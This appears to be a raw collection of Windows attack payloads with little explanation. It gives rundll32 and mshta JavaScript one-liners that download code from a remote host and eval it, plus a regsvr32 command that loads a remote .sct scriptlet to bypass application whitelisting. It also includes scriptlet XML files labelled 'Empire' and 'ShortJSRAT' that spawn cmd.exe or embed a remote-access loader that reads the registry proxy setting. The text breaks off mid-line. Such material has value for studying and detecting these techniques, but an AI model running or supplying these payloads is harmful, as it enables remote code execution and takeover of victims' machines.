1

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();

h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open

"GET","http://127.0.0.1:8081/connect",false);try{h.Send();

b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").

Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%

regsvr32 /u /s /i:http://urlto/calc.sct scrobj.dll

<?XML version="1.0"?>

<scriptlet>

<registration

    description="Empire"

    progid="Empire"

    version="1.00"

    classid="{20001111-0000-0000-0000-0000FEEDACDC}"

    >

    <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->

    <!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->

    <!-- That should work over a proxy and SSL/TLS... -->

    <!-- Proof Of Concept - Casey Smith @subTee -->

    <script language="JScript">

        <![CDATA[

            var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

        ]]>

</script>

</registration>

<public>

    <method name="Exec"></method>

</public>

<script language="JScript">

<![CDATA[

    function Exec()

    {

        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");

    }

]]>

</script>

</scriptlet>

<?XML version="1.0"?>

<scriptlet>

<registration

    progid="ShortJSRAT"

    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >

    <!-- Learn from Casey Smith @subTee -->

    <script language="JScript">

        <![CDATA[

            rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();

h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");

try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\

Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}

catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;

eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /

im rundll32.exe\",0,true);}";

        new ActiveXObject("WScript.Shell").Run(rat,0,true);

        ]]>

</script>

</registration>

</scriptlet>

<?xml version="1.0"?>

<package>

<component id="testCalc">

<script language="JScript">

<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

]]>

</script>

</component>

</package>

<?xml version="1.0"?>

<package>

<component id="testCalc">

<script language="JScript">

<![CDATA[

        rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write

();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript

.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion

\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy

(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.

ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c

taskkill /f /im rundll32.exe\",0,true);}";

        new ActiveXObject("WScript.Shell").Run(rat,0,true);

]]>

</script>

</component>

</package>

1

mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXOb